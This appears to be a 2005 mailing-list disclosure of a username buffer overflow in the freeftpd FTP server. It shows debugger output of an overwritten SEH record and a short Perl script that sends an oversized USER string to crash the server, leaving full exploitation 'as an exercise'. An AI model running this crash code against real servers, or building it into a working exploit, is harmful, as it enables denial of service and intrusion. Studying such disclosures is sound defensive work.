<div>Hi,</div>
<div>&nbsp;</div>
<div>While drooling over my new Adriana Lima wallpaper, my tongue accidentally hit my keyboard and more than 1012 chars were sent to the login screen of my freeftpd server (which i use to backup my Adriana Lima pics). Guess what...the server crashed! Luckily I attach ollydbg to every process I have running and ths is what I found:
</div>
<div>&nbsp;</div>
<div>ECX 50505050<br>&nbsp;</div>
<div>EIP 77C460CB msvcrt.77C460CB<br>Log data, item 0<br>&nbsp;Address=77C460CB<br>&nbsp;Message=Access violation when reading [50505050]<br>&nbsp;</div>
<div>77C460CB&nbsp;&nbsp; 8B01&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MOV EAX,DWORD PTR DS:[ECX]</div>
<div>&nbsp;</div>
<div>well, eip doesnt get overwritten, but SEH does:</div>
<div>&nbsp;</div>
<div>
<p>0012B6CC&nbsp;&nbsp; 41414141<br>0012B6D0&nbsp;&nbsp; 42424242<br>0012B6D4&nbsp;&nbsp; 42424242<br>0012B6D8&nbsp;&nbsp; 43434343&nbsp; Pointer to next SEH record<br>0012B6DC&nbsp;&nbsp; 47464544&nbsp; SE handler</p>
<p>EIP 47464544</p>
<p>&nbsp;Log data, item 0<br>&nbsp;Address=47464544<br>&nbsp;Message=Access violation when executing [47464544]<br></p></div>
<div>&nbsp;I leave the exploit coding as an exercise...</div>
<div>&nbsp;</div>
<div>enjoy</div>
<div>&nbsp;</div>
<div>sample crash code:</div>
<div>&nbsp;</div>
<div>
<p>#!/usr/bin/perl -w<br>#freeftpd USER buffer overflow<br>#barabas - 2005</p>
<p>use strict;<br>use Net::FTP;<br>my $user=&quot;\x41&quot;x1011;<br>$user .=&quot;\x44\x45\x46\x47&quot;;#overwrite SEH<br>$user .=&quot;\x50&quot;x400;</p>
<p>my $ftp = Net::FTP-&gt;new(&quot;<a href="http://127.0.0.1">127.0.0.1</a>&quot;, Debug =&gt; 1);<br>$ftp-&gt;login(&quot;$user&quot;,&quot;whatevah&quot;);</p>
<p><br>&nbsp;</p></div>